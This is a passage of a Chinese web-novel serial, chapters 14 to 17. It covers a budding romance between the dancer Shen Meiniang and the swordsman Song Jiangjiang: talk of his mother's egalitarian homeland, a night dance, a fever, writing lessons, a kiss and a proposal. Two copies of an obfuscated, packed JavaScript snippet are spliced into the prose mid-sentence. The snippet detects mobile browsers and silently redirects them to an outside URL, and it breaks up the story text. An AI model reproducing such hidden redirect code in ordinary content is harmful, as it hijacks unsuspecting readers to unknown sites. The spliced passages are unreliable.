两人逐渐从田泽走进林中,眼前是清澈温柔的月色,耳边是青蛙打鼓声和不住的蝉鸣,直到来到一个小溪汇集而成的水潭边,沈美娘才驻足停下。 “就是这里。”沈美娘坐到水潭边,仰头笑道,“好看吧?” 宋江江望着人迹罕至但清澈见底的水潭,里头还有小鱼在里头隐隐约约游动。 他点头:“好看。” 沈美娘得意:“那当然,你当我每日在芙蓉谷闲逛,真是闲得慌不成?我可知道好多旁人不知道的好地方。” 说着说着,沈美娘就想逗宋江江:“就比如,这里就很适合杀人藏尸,没个三年五载,肯定没人能发现。” 见宋江江惊讶,应该是想教育她,沈美娘又道:“我胡说的,你别又当真。” 这个小剑客呢,什么都好,就是有时候太容易分不清开玩笑和真心话了。 “我带你来这儿,不是为了杀人,我是想问问你,白日里你被叶随打断的话。”沈美娘随口道。 她其实也不清楚,自己为什么要一时糊涂,把宋江江带到这里来。 她总不能和宋江江说,自己是看他吃别的男人醋不高兴,想逗他开心吧? 那也太丢面子了! 宋江江也没想到沈美娘会问这个。 但想到这里人迹罕至,沈美娘又可能是他妈妈故乡的人…… 沈美娘是知道两人说话的内容很敏感,可能会招惹祸事,才特地带他到如此偏僻的地方的吧。 “沈娘子,你知道一些我娘亲家乡的事,你知道的那里和这里不一样……” 宋江江压低声音:“在那里人人都可以读书,犯了错也会被警/察捉起来。” “你说什么?”沈美娘皱眉。 什么“警/察”?还“人人都可以读书”? 这个宋江江又在这里给她编故事是吧? “就是……我忘了在我娘亲的那个世界是人人平等,没有皇帝和贵族的,和大燕不一样,对……” 宋江江的“对不起”还没说完,就被沈美娘猛地捂住嘴,她急道:“快别说了!” 沈美娘真是被这个宋江江吓死了! 要是知道他会说出这种东西,她还不如丢脸承认自己今天是想让他开心点。 “宋江江,你给我听好了。”沈美娘难得正色,“今夜你说的话,我全当我没听见。” “你如果不想人头落地,今天晚上你和我说的话,以后你一个字都不能和别人说。”沈美娘紧紧盯着宋江江。 宋江江:“我的话说错了吗?” “或许错了,也或许没错。”沈美娘已经没有一开始那般惊讶,她只是好奇,“这些道理是你自己悟出来的?” “不是。”宋江江道,“我娘留给我的札记上都是这么写的。” “还有札记?”沈美娘忍不住道。 “对,有好多本,我只看了其中一部分。”宋江江诚恳道。 沈美娘建议:“你改天找日子把札记烧了,或者埋深点……” 这要是被其他人看到,宋江江人头落地都是轻的——这种东西,诛十遍九族都够了。 沈美娘又问:“你没对别人说过吧?” “没有,我从来不和旁人说这些。”宋江江道。 沈美娘挑眉:“那你怎么和我说呢?” “你……不算旁人。”宋江江小声道。 沈美娘听到这话深深看了眼宋江江。 嘶,看不出来嘛,这个小剑客,还真是越来越厉害了。 果然跟着她沈美娘,木头也会变得嘴甜。 “你是我救命恩人,不算旁人。”宋江江又道。 沈美娘沉默。 得了,她就不该对宋江江有过高期待的。 他就是块木头!还是实心的! 沈美娘虽不准宋江江说那些大逆不道的话,但心里对宋江江所说的所谓家乡很是感兴趣。 “你说的那个地方当真人人都能念书?”沈美娘对这一点格外关注。 “嗯!”宋江江谈及那个他从未去过的所谓故乡,眼里就被憧憬的情绪填满,“在那里,读书是不要钱的,只要交一点点书本费就好了!男生和女生能够坐在一个学堂里念书,女孩子也可以当官的!” 宋江江谈起这些笑得眉眼弯弯,沈美娘不由被他描述的那个世界吸引。 “还有!那个世界幼有所育、老有所养,像圣人书里说的那样,可以夜不闭户,也不用担心有贼人!农户也不用交口赋和地租……” “停!别说些掉脑袋的话。”沈美娘及时叫停宋江江。 不过嘛,听这个宋江江的话,那个世界还真是很不错。 如果能去那个世界活着的话,真是叫人死一次都愿意。 也难怪宋江江说什么都要去明州,不肯留在这里给她当护院。 沈美娘问:“你是在那里长大的?” 听这小剑客说的活灵活现,真像是在那个世界活过一般。 宋江江摇头:“我没去过那里,我娘回家时也没带我,她说比起那里,这里更适合我。” “说不定那里也没那么好呢?”沈美娘道。 哪个地方都有龌龊,更何况是一个都没去过的地方呢? “那也没关系。”宋江江不知不觉就把自己的心里话说出来了,“反正那个地方肯定是比大燕更好,我想把那里的技术和制度都带到大燕来,最好再把那里的人才也带过来!” 宋江江攥紧拳头,意气风发:“我想让大燕变得更好!” 沈美娘听不懂什么“技术”“制度”,就听懂了个“人才”,但也大抵猜到了宋江江的意思。 她不赞许地皱眉。 得了吧,就光女人和男人能一起读书,再有几百年都不一定能做得到。 更别说什么免赋,什么“人人平等”了…… 不过沈美娘也没有打击小剑客,神色复杂道:“祝你成功。” 等这小剑客多被几家“黑店”毒打几次,他就知道人心险恶,不会做这种不切实际的梦了。 宋江江突然又问:“你不是也知道那个世界的事吗?我之前就想问你的,你究竟是不是我娘……” “咳咳……”沈美娘猛地咳嗽几声打断宋江江。 这个小剑客怎么对自己是不是他娘老乡,这么在意啊? “你没事吧?是白日里受了什么伤吗?怎的突然咳嗽了?”宋江江丝毫没意识到自己轻而易举就被转移了话题。 沈美娘点了点宋江江的额头,逗他:“小剑客你真是笨死了,我白日里就算受伤也是受的皮外伤,跟咳不咳嗽有什么关系?” “那是入夜受凉了吗?我们还是快些回吧。”宋江江又道。 “没有啦!”沈美娘看宋江江笨拙却善良的模样,娇嗔道:“我从小就喜欢到处跑,跟个野孩子差不多,身子比寻常人强壮不知多少。”< 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沈美娘瞧宋江江这样子,笑道:“小剑客,你这是看傻呢?” 宋江江听到沈美娘的话,才反应过来:“好看的……不知道沈娘子这是跳的什么舞?” “《无题》舞。”沈美娘道。 见宋江江一脸不解,像是不明白她为何要给这支舞起这个名字。 沈美娘:“这支舞是我家乡的,大家都是这么跳的,当然也有我编的动作……我也还没想好给它取什么名字。” “你是觉得这支舞和别的舞都不一样,对吧?”沈美娘问。 宋江江坦诚道:“和我从前看到的所有舞都不同。” “这就对了。”沈美娘重复刚才舞里的动作,将手搭在肩上走了几步,“你说这是从寻常生活里哪个动作,编出来的舞蹈动作?” “背书箧?” “不是,这是担水!” 宋江江没想到他认为的高雅、优美,只属于少数人的舞蹈,居然会和劳作相关,不由惊讶。 沈美娘又将手在身前交叉摆动,脚上也跟着动作:“这个呢?” “不知道。” “这是割草。” 她俯身笑着,手像是拈花般拨动。 “这个我知道!是赏花!”宋江江欢喜抢答。 “也不是。”沈美娘又将手上往身侧贴了贴,做完整个动作,“这是采春茶。” 沈美娘将手拂过水潭:“这个动作是汲水。” “这个动作是推磨。” “这是梳头。” …… 沈美娘一一把刚才所有的舞里的动作,都拆解给宋江江看了一遍。 “这支舞是我最喜欢的舞,它是我家乡的缩影。”沈美娘大大方方道,“我很喜欢我的家乡,我也想把这支舞送给你。” 宋江江看到沈美娘站在那里,她没有因身份卑微就自轻自贱,相反她似乎很骄傲那些过去。 即使是黑夜里,沈美娘依旧耀眼夺目,比天上的星星和明月都更加流光溢彩。 看着这般自信、张扬、明媚的沈美娘,宋江江根本就无法挪开一丝目光。 “谢谢你,我很喜欢。”宋江江珍重道。 “我也喜欢欣赏我舞蹈的人。”沈美娘笑得愈加灿烂。 不是时时刻刻挂在脸上的微笑,也不是为了讨好贵人们的谄笑,更不是气到极致的冷笑。 沈美娘此刻就是纯粹的开心。 她是真的喜欢跳舞,更高兴有人喜欢她的舞蹈。 沈美娘挑眉:“小剑客,这支舞我从来没给别人跳过,你可是第一个看到的!” 宋江江听到这句话一怔,被一种奇怪而陌生的感觉充斥。 他想起书上说的“怦然心动”。 原来这就是那种感觉啊。 15. 第15章 沈美娘那夜刚和宋江江说完她“身体好的不得了”,结果回去当晚就发了高热。 她皱着眉喝了青词给她熬的药,折腾了半夜总算是把烧退下去了。 宋江江说她这叫“打脸”。 打脸? 听起来就不像什么好词,沈美娘裹紧被子,哑着嗓子也要怼回去:“人吃五谷杂粮,哪有不生病的?” “小剑客,我这是不小心生病的,总比你自己多管闲事差点丢了小命好。”沈美娘不服。 宋江江辩驳:“我那是见义勇为……嗯,就是‘路见不平,拔刀相助’的意思。” 沈美娘撇嘴:“那就是多管闲事。” “是见义勇为。” “多管闲事!” “见……” “你俩多大了,为了这么点小事也能吵起来?”宝儿端药进来,把两个人都训了一顿。 枉她从前还觉得宋江江是个稳重的,现在看来还没她懂事。 这些大人明明比她大四五岁,怎么比她还像小孩? 沈美娘嬉皮笑脸找宝儿要认同:“宝儿,咳咳……你看我说的才对吧,他那就是多管闲事。” “沈美娘!你还病着,能不能少说话?昨晚不是还喊你喉咙跟刀刮一样疼吗?”宝儿没好气道。 “生病也不能把架吵输了啊……”沈美娘小声嘀咕。 她这辈子在吵架和打架这两件事上就从没输过。 沈美娘把药一口喝完,整张脸被苦得皱皱巴巴:“什么药啊,苦死了!” “良药苦口。”宝儿给沈美娘递了枚蜜饯,“谁叫你大半夜还在外面逛,受着吧你。” 沈美娘撇撇嘴:“叫我安分听话,还不如叫我去死。” 就是说下次还敢。 等宝儿出去了,宋江江才道:“对不起,我不该和沈娘子你吵架,我忘了你还是病人了。” “没事,本娘子大人有大量,不会同你计较的。”沈美娘展开她的扇子又想扇风。 结果她刚拿出来,宋江江就道:“你还生着病,小心又着凉。” 沈美娘思索片刻,将扇子抛给宋江江:“好吧,那我不扇了。” 宋江江接住扇子,注意到扇子纸面上的“翩翩公子”四个字。 这四个字写的刚劲有力,一看就是自幼攻书的人写的,很显然不会是沈美娘的笔迹。 背面的纸上则歪歪扭扭地写着“沈美娘”三个字。 宋江江大脑转得飞快,想起从旁人口中了解到的沈美娘的过去。 他们都说沈美娘原是一个给叶司马行卷的书生的侍女。 她生得好看,得了叶司马青眼,那书生就把沈美娘送给叶司马了。 沈美娘看出来宋江江在走神,丢了个果壳砸他:“想什么呢?” “这把扇子对你很重要吗?”宋江江问。 沈美娘也不知道一把扇子有什么好问的,随口道:“重要啊,它挺好看的,我很喜欢。” 宋江江盯着上面那几个字,又道:“这字是谁写的啊?写的还挺好看。” 他看似平静,心里却忐忑至极,生怕沈美娘给他不想要的回答。 “好看吧!我也觉得好看!”沈美娘从床上起身,小跑到宋江江身边。 她指着纸扇上的“沈美娘”三个字,得意洋洋:“这三个字可是我写的!宝儿总说丑,我瞅着不是挺好看嘛。” “你说是吧?”她满怀期待看着宋江江。 “好、好看。”宋江江被沈美娘这样看着,心里的感觉愈加奇怪。 这种奇妙的感觉,很像昨夜沈美娘告诉她只给他一个人跳过那支舞的感觉。 他瞧着沈美娘亮闪闪的眼睛,鼓起勇气又问:“那个这个字呢?是谁写的啊?” “好啊……原来你是觉得这个字好看!”沈美娘气鼓鼓道。 宋江江生怕被她误会,急忙辩解:“不是不是!这个字丑死了,比不上沈娘子字的一根头发丝。” 他又补充道:“真的!” “好吧,那我暂且相信你。”沈美娘挑了挑眉。 她指着另一面上的字,解释道:“这个字是我上一任主人写的,就是传闻中,那个把我献给叶司马的主人。” 宋江江听到沈美娘说的是“上一任主人”,不是“第一任主人”,品出了她的意思。 也就是说,她曾经有过很长一段颠沛流离的生活。 宋江江没想到他会勾起沈美娘的伤心事。 他真是该死。 沈美娘却没一点不高兴,反而很欣喜:“小剑客,既然你会说那么多我听不懂的词儿,那你是不是也会写字?” 什么? 宋江江道歉的话被咽回去,愣愣地点头。 沈美娘闻言笑开:“那你教我写字好不好?” 宋江江看着她在乱糟糟却又能精准找到每件东西的箱子里翻找。 她扒拉出来笔墨纸砚,递到宋江江手里:“你拿好,明天开始我就和你学!” “可是你的病……”宋江江有些迟疑。 沈美娘摆手:“今天喉咙痛完,再咳嗽个三五天就差不多了,我自己的身体我清楚。” 她上床裹着被子坐好:“今天我就不学了,但你得写给我看。” 宋江江还是担忧沈美娘身体,但都被她又堵了回来。 他只好搬了张小几,在沈美娘床前坐下研磨:“写什么呢?” “你先给我写写‘沈美娘’三个字。”沈美娘兴冲冲道。 宋江江提笔在纸上写她的名字。 沈美娘眼睛一眨不眨地盯着他的动作。 看到她的名字被宋江江写出来时,沈美娘忍不住笑出声:“我觉得写字真是件很神奇的事情。” 宋江江不解地望着她。 “真的很神奇啊,也不知是哪位先人创造的。大家就这么写出来就能认识,还能一代代流传下来。”沈美娘认真道。 宋江江听到沈美娘的话,发现这是他从来没想过的角度。 听沈美娘这么一说,似乎真的是十分有趣。 “神话传说里,说是仓颉造的字,还要感谢始皇帝书同文。”宋江江道。 他没想到沈美娘求知若渴般听着,她用力点头:“我记下了!” 她笑得愈加开心,似乎是为自己又学到了新的知识。 宋江江不自觉也被沈美娘的笑容传染。 “宝儿、文、七这些字怎么写?”沈美娘又问。 宋江江笑着在纸上写下这几个字,指着上面的字,一一教沈美娘:“这个是宝,这个是儿……” 沈美娘全神贯注听着。 不到半刻钟,她就欢喜指着那些字道:“这个是宝儿,这个是文和七” 宋江江颇为意外地点头。 他没想到沈美娘学东西居然这般快。 如果她从小就接受良好教育的话,她现在一定会是很有名气的才女。 “宋江江!”沈美娘记下了那几个字,又追问:“那你的呢?” “什么?”宋江江一时没反应过来。 沈美娘双手撑着下巴:“我说,你的名字呢?‘宋江江’三个字怎么写呢?” 原来沈美娘是在问他的名字。 宋江江捏着笔的手更用力了几分,格外紧张地在白纸上写下“宋江江”三个字。 “宋、江、江……”沈美娘缓缓念着这三个字。 明明她就是很正常的认读,但宋江江总觉得她的声音莫名勾人,让人浑身酥酥的,脸也热了起来。 宋江江匆匆站起来,背过身去:“我、我出去一下。” “干什么……”沈美娘看着宋江江落荒而逃的背影不解。 不过她更多心思还是在那些字上。 知识比宋江江的反常重要一千倍。 宋江江吹了吹凉风,深吸了好几口气,才压下刚才的异样。 屋内的沈美娘认全了那些字,还是觉得不过瘾,于是坐起来试着模仿宋江江的字写写试试。 可是不管怎么写,都让她不够满意。 宋江江的字比她折扇上的字更好看,有种很方正的感觉。 比起那种张扬的字,她更喜欢这种看起来厚重古朴的。 这个小剑客剑术好也就算了,还这般有学识。 看来就算不能把他长久留下来,也得趁着他人没走,向他多学点东西才是。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946758|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不知道是不是沈美娘学得太认真受了凉,黄昏时又发起了高热。 青词给她喂了药,也迟迟不见有什么效果。 沈美娘烧得昏昏沉沉,还是强撑着打起精神和几人开玩笑:“放心吧,死不了的,我命贼硬。” “不许乱说!”宝儿哭得眼泪纵横,“都怪我信了江瑞的话,才害得你进城又是差点受伤,还回来就病……” “跟你没关系,你别哭,本来我就耳朵嗡嗡响。”沈美娘道。 宝儿闻言捂住嘴,眼泪却还是没停。 “青词,你把她带出去,我一个人躺会儿。”沈美娘又道。 见几人迟迟不动,她又解释:“我真没事,就是想一个人静静……你们不放心,就让宋江江留下吧。” 就宝儿那个爱哭鬼,要是青词不去安慰她,她能哭一整晚。 青词把宝儿带出去后,沈美娘用被子捂住脸:“终于清静了。” “不就是发个高热嘛,都这么紧张做什么,死不了人的。”沈美娘的声音从被子底下传来。 她真觉得没什么,就是小病而已,不知道他们在紧张什么。 宋江江:“都怪我,我……” “停!”沈美娘打断宋江江反省道歉的话,“宝儿年纪小我得哄着她,你就别给我添麻烦了。” 宋江江闻言闭嘴。 半晌,沈美娘感觉自己的枕边一重,她从被子里探出头,就看到了两个新的风铃。 没等她开口,宋江江就先一步解释:“之前把你的风铃弄坏了,总得赔你新的。” 他昨夜就发现了那水潭里的石头,和沈美娘床上风铃用的石头很像。 白日下午里,他又去了一趟,确定她的风铃用的石头就是那里的,就用那些石头给沈美娘做了新的风铃。 沈美娘伸出手摸了摸那两个新风铃。 她脑子被烧得有些迷迷糊糊,有些迟钝地问:“你是说……你一个人下午又专门去了水潭一趟,还把风铃修好呢?” 见宋江江点头,她很是认真道:“宋江江,你真贤惠。” 会做饭、会劈柴、会武功,还会识字读书,连做风铃都会。 “谢谢。”宋江江挠了挠头。 虽然,好像用贤惠形容男人有点少见,但……这应该也算是夸奖吧。 那就该说谢谢。 “不用谢!”沈美娘真的被烧糊涂了,“那你把我的风铃也挂起来吧。一个挂我床上,一个挂门外!” “现在有些晚了,而且我还得照顾你。”宋江江道。 沈美娘也很好商量:“那你先在我床上挂个吧!” 宋江江有些迟疑。 “好不好嘛?”沈美娘撒娇。 宋江江只好拿起风铃,跪在床沿边尽量不碰到沈美娘。 沈美娘盯着宋江江小心的动作,目光又从他修长的手,挪到他为了系风铃而仰起的脸上。 宋江江平常傻乎乎的就够好看了,此刻认真做事就更好看了。 “宋江江……”沈美娘突然道。 “嗯。” “我其实真的看上你了。”她道。 至少宋江江这张脸,是完全长在沈美娘心坎上的。 “哦——啊?”宋江江愣了一下,才反应过来。 他的手拂过系好的风铃,叮叮咚咚的响声,就像他此刻的心跳般凌乱。 沈美娘依旧紧紧盯着宋江江,叫他没有机会躲闪。 难道这就是所谓的“告白”? 沈美娘这是和他告白呢? 宋江江说不出拒绝的话。 可是他从来没想过,有一天他会和这个世界的女人成婚。 不过……如果是沈美娘的话,似乎也很不错。 “沈娘子,多谢你的喜欢,我……” 宋江江的“我愿意和你共度一生”还没说完。 沈美娘就用被子捂住脸,虚弱但语气坚定:“等我出人头地了,我要养十个你这样的男宠。” 宋江江能听出来后面这句话里,沈美娘的语气比刚才真切许多。 他默默不语,半晌,扯了下嘴角。 算了,沈美娘是病人,让让她好了。 16. 第16章 沈美娘睡得昏昏沉沉,她已经好久没有这般病过了。 梦中,她好像听到了银铃般的笑声。 是五岁的自己被父亲架在脖子上,她一点都不害怕,反而好奇地观察在高处才能看到的风景。 白而轻的云雾挂在山间,远山连着更远的山,她好奇不已——山的外边会是什么呢? 外边是不是真的有堂姐丽娘说的“云梦泽”,又是否真的有比族长家还气派的吊脚楼,外头的人肯定不会同寨子里的人一样,觉得她是孽种了吧…… 她还没想出答案,就被阿娘急急忙忙抱了下来。 阿娘用力拍了爹爹一巴掌:“沈文,你干什么!没个正形,把美娘摔着了怎么办?” 小时候的她会拽住阿娘的衣裳,乖乖道:“七娘,你别骂爹爹,是我自己想玩这个的。” 沈美娘看到阿娘无奈揉了揉自己的头发,给自己递了一块饴糖,小小的她慢慢地舔着。 阿娘推着磨,说要给她做最爱吃的豆花。 爹爹则拿了梳子帮她梳好看的头发。 风吹动楼前的山茶花,红的、白的花朵,都随风招展,一切都很美好。 可她眨了眨眼,全都不见了。 只剩自己站在山垭处,回首望着连绵群山。 她手里捧着木盒,目光坚定:“我会出人头地的。” 等那个时候,她就可以回家了,还是风风光光、堂堂正正地回来。 “我一定会出人头地。”沈美娘喃喃着睁开眼。 窗外的天已大亮,她愣了好一会儿,才意识到她是梦到从前了。 她看到床上的风铃,回想起昨夜和宋江江的对话,难得有些心虚。 当着别人面说要找十个像他的男宠,确实有点过分了。 然后,她就看到了抱着一壶水,靠着她的床熟睡的宋江江。 从沈美娘的位置看过去,只能看到宋江江的侧脸,但即使这样他的脸也过分好看。 可能是逆光的缘故,显得他的眉目愈加深邃。 老实说,宋江江其实很清冷薄情的长相——除了他的眼睛。 沈美娘还没来得及继续端详,宋江江就像是有所察觉般睁开眼。 他原本偏圆的杏眼,一看到是沈美娘,就笑得弯弯像月牙:“你醒啦!有好些吗?要喝水吗?” 沈美娘定神又看了眼宋江江。 真不怪她喜欢这张脸。 这种不笑时宛如谪仙般出尘,但笑起来就……像条傻狗的脸真的挺招人喜欢的。 至少招沈美娘喜欢。 “给我倒杯水。”沈美娘道。 她接过宋江江递给她的杯子喝了一口,发现居然是热的,疑惑:“你昨晚没睡?” 不然怎么可能她一醒过来就有热水喝。 “我怕你要喝水,发高热喝冷水不好。”宋江江像是说一件小事般。 沈美娘闻言又喝了一口水,目光沉了沉。 宋江江却以为她是不信,解释:“我小时候也发过一次高热,差点就没命了。” 他知道发高热时有多难受,才会如此细心照顾沈美娘。 沈美娘闻言终于明白,为何昨夜宋江江一直守着她了。 原来这小剑客是真觉得她可能会死。 沈美娘很想得开:“可你不是没死嘛,大难不死,必有后福。” 宋江江还活着不就说明,发高热不也就这样吗?有什么好怕的。 “可是那以前的记忆,我基本上都记不得多少了。”宋江江道。 沈美娘:“你那时候几岁?” “八岁。” “你要这么想,就算不发高热你那时候那么小,也记不得多少。”沈美娘安慰他。 宋江江一想,好像也是。 他发现沈美娘在安慰人上,自有她的一套歪理。 “你干什么,”宋江江看到沈美娘像是要起床,“你再躺着休息几天才是。” “没事!”沈美娘披衣起身,“我高热已经退了,剩下几天就是咳嗽了。” 宋江江看沈美娘真开始穿衣,急忙躲到屏风后面去。 “躲什么?咱俩都多熟了。”沈美娘对什么名节是一点都在意。 宋江江显然不是,他还是不愿意出来。 沈美娘就把风铃扔给他:“那你去把我的风铃挂到屋檐下吧。” 不然在这里扭扭捏捏的,她看着眼烦。 宋江江果然听话地去搬木梯挂风铃了,沈美娘换好衣裳出来时,宋江江刚系好。 他看到未施粉黛的沈美娘出神片刻,才不好意思地别开眼:“沈娘子,你看挂这里可以吗?” 沈美娘斜倚着门,仔细盯了好一会儿:“不行。这里常吹西南风,你得迎风挂,风铃才会经常响。” 宋江江只好把风铃取下来,又把梯子挪到竹屋另一边。 那边的地上有青苔,沈美娘便过去帮他扶着:“你上去吧,我帮你扶着,不会打滑。” “好,多谢沈娘子。” 沈美娘仰起头,看宋江江爬到高处,指了指檐下问她:“挂这里?” “嗯。” 宋江江手教麻利地将风铃系好,却在下来踩在湿滑的石板时,脚底打滑。 他没摔在地上,却被熟悉的香味包裹。 “小剑客,是你自己往我怀里摔的哦,你该不会是故意的吧?”沈美娘含着笑意的声音传来。 宋江江仰头,就看到沈美娘温柔多情的眼,鼻尖也萦绕着令人沉醉的香味。 他大脑一片空白,像是已经醉死在这片刻的温柔和馥郁里。 沈美娘也没有推开少年,她确实很喜欢宋江江的脸,也有那么一点喜欢他这个人。 她喜欢,她就想要。 她想要就一定要得到。 沈美娘换了个姿势,将少年抵在竹屋的房柱上,踮起脚吻了上去。 沈美娘也是第一次亲除爹娘以外的人。 有人教过她该如何亲男人,她也听过不少故事里令人面红耳赤的桥段。 但在这个风和日丽的清晨,她只是很轻柔地吻了吻宋江江。 接吻也不过如此嘛。 根本就不像他们说的什么会全身酥软、会气血上涌,明明就是很平常的两块肉相碰而已。 无趣。 沈美娘站定,开始思考该怎么处理刚才的举动。 宋江江还保持贴着柱子的动作,仍旧震惊于沈美娘的吻。 他不可置信地伸手摸了摸自己的唇。 如果不是刚才的触感太过清晰,他都要怀疑一切都是他的臆想了。 宋江江知道他刚才是完全可以推开沈美娘的。 事实却是在沈美娘靠近的那一刻,他的身体就像是知道沈美娘要做什么般,没有一丝一毫的抵抗。 他用力攥紧拳头,才从刚才的大脑宕机中回过神。 然后……他察觉到了自己身体的某些变化。 宋江江连忙飞也似地离开:“沈娘子,我、我先告辞了。” 正准备和他说清想法的沈美娘,张口喊了好几声“别走”,这小剑客都像是没听到般。 沈美娘皱着眉,想了好一会儿,最后得出的结论是可能自己吓到宋江江了。 她看到宋江江也没去院子和厨房,而是转身进了他那屋。 过了半个时辰,她看到宋江江换了身衣裳,还抱了刚才的衣服和被褥什么的出来洗。 沈美娘不是什么都不懂的闺阁姑娘,稍微想想,就明白宋江江刚才去干什么事了。 看到宋江江坐在院子里,做贼似的洗衣服,她内心也难得有些不知所措。 但等沈美娘走到宋江江身边,她喜欢逗弄人的毛病就又上来了:“你挺快啊。” 宋江江洗被褥的动作一顿,抬头看了眼沈美娘。 沈美娘这才发现宋江江黑脸了。 “你不快,行了吧?”沈美娘改口。 果然看起来再好脾气的男人,都还是介意被别人说快的。 她抱着裙子蹲下,宋江江这下倒是不黑脸了,就是眼里还是有她看不懂的神情。 不像讨厌,也不像怨恨,是别的沈美娘很陌生的情绪。 沈美娘拽了拽宋江江的衣角:“我又没强迫你,你不是也没拒绝嘛,怎么搞得好像我轻薄你一样……” “不是你的错。”宋江江道。 “当然不是我的错!”沈美娘急忙道,“我也是第一次亲人好不好?被我这种大美人亲,是你该谢谢我,好不好?” 宋江江洗衣裳的手一顿,梗着脖子道:“我也是。” 他也是?他是什么?他也是大美人?! 沈美娘思考了片刻,才反应过来宋江江所谓的“他也是”是什么。 “小剑客,你居然没亲过人?”沈美娘惊呼。 宋江江:“有什么好奇怪的吗?” 当然奇怪! 这个小剑客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949385|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这般贤惠,还长得好看,也不是贱籍出身。 就算是侠客,也该是有很多人看得上的,怎么会没人喜欢他呢? 更何况江湖人士不是最讲什么风流潇洒吗? “我以前从没想过与任何人成婚。”宋江江道。 他和这个时代的人不同,他的所有思想都不会被任何人理解。 在皇宫里,他只能扮演“姜颂”,扮演一个这个时代的正常人。 一旦他暴露出真实想法,这里的人就会认为他是异想天开的疯子。 可是他遇到了沈美娘。 她好像……能听懂他的一些话。 沈美娘听出来小剑客的落寞,他总是笑着的眼此刻结了一层寒霜。 这都不像他了。 沈美娘也不喜欢这样的宋江江。 “小剑客,你说那是以前,那你现在呢?”沈美娘问。 她总是可以抓住别人话里,没有说尽的语意。 宋江江听到这话,耳朵又红了。 他回想起沈美娘亲他时,那种奇怪的酥麻感觉,还有他刚才做的那种事…… 宋江江知道那是喜欢的表现。 他本就是一个敏感的人,而且他一向很坦诚。 宋江江用清水洗干净手,又用帕子擦干水,才握住沈美娘的手:“沈娘子,我喜欢你,如果你愿意,我想娶你。” 沈美娘迎着宋江江坚定的眼神,清楚他不是在开玩笑。 不是——不就是亲一下吗?这就上升到男婚女嫁的地步啦? 沈美娘倒不想拒绝宋江江。 她挑男人的三个准则,要么很有钱,要么很有权,要么长得合心意。 宋江江恰好符合最后一条。 更别提,她一开始就想留下宋江江做她的护卫,给她卖命。 “我……” 沈美娘答应的话还没说出口,就被一道男声打断:“美娘!” 叶随提着大包小包来看她了,不过看他今日的打扮,不用猜也知道他肯定是偷偷来的。 沈美娘连忙将手从宋江江手中抽出。 宋江江眼中闪过一丝错愕,又低头继续洗衣裳,没有在叶随面前纠缠沈美娘。 叶随注意到了宋江江:“怎么又是他?” 他原本找管家想把这人从沈美娘身边调走,却得知这人是青词的亲戚,是他爹亲口答应放到沈美娘身边来的。 但他总觉得这人有古怪。 “主君安排的护卫很足,平日里也会让他们帮忙做做洒扫的工作。”沈美娘解释。 “洗衣做饭的活,也就这些出身下贱的人干了。”叶随鄙夷道。 宋江江对叶随的话没有反应,低着头继续干活。 沈美娘笑:“二公子说的是,外头日头大,奴怕晒着公子,咱们进屋去说话吧。” 叶随颔首,但心里那口气顺不过来,踹开宋江江面前的木盆:“你这活不急,去把爷的马喂了。” 他今日是和小厮骑马来的,从南州城到芙蓉谷可不近,他现在都有些腰酸腿疼了。 “是。”宋江江谦卑道。 沈美娘看宋江江听话离开的背影,眸色深了深,转过头看向叶随时笑意更浓:“二公子,你骑马来的,想必定然累了吧,不如奴替你揉揉肩、捏捏腿吧?” “好啊,那便多谢美娘了。”叶随握着沈美娘的手,爱不释手地摸着。 一想到这双柔弱无骨的手,等会儿要帮他揉腿捏肩,说不定他还能做点别的事,叶随就欢喜得狠。 沈美娘将门窗关好,对叶随柔柔道:“公子你躺好。” 叶随满怀期待地闭上眼准备享受,就猛地腰间一疼,还是钻心般的疼。 他想挣扎,就听到沈美娘柔柔的声音:“二公子,奴没用力啊?难道这般公子就不行了吗?” “可、可以。”叶随不愿丢脸,只得哆哆嗦嗦道。 下一刻,他的肩又被狠按了几下,他疼得想起身,可是却被沈美娘按住动弹不得。 “二公子,是奴还按得不够用力吗?”沈美娘加重了力道。 叶随忍了一会儿,实在是忍不住了。 在被沈美娘狠按了几下大腿后,哭爹喊娘地挣扎着起身:“不用了。” 沈美娘顺势跌坐在地,双眼微抬,还带着不解和泪花,瞧着当真是柔弱无助。 叶随原本怀疑沈美娘是故意整他的心思被按了下去。 美娘能有什么坏心思呢? 17. 第17章 沈美娘手上下了很大的劲儿给叶随“按摩”。 她就是故意报复叶随的,这人刚才居然敢踢宋江江的盆! 小剑客她能逗、能捉弄,但她决不许别人欺负他。 叶随扶着腰起身,见沈美娘还想帮她揉腿,连忙推拒:“美娘不必了,你去把门窗打开透透气吧,有些闷了。” 要是再被沈美娘按几下,他真的毫不怀疑会被疼死。 叶随又注意到桌上的纸笔,有些意外:“美娘,你是在习字吗?” “哪有……奴婢对这些没兴趣,是邻家赵娘子找我借纸笔,说是要给兄长写家书。”沈美娘谎话那是张口就来。 叶随点头:“也是,你也不必读书习字。” 沈美娘长了这张脸,会唱歌跳舞就够了。 “二公子喜欢什么,奴就喜欢什么,奴只盼着能日日陪在公子身边。”沈美娘主动抱住叶随。 她知道叶随好糊弄,但也怕万一被他看出自己在念书。 叶司马是不让她识字的。 叶随被沈美娘突然抱住,一时也没反应过来。 沈美娘虽祸水的名声在外,但叶随平日里其实也就摸摸她的小手,也不敢真的勉强她。 不然她喊一声,外头那些他爹派来的护院肯定会进来。 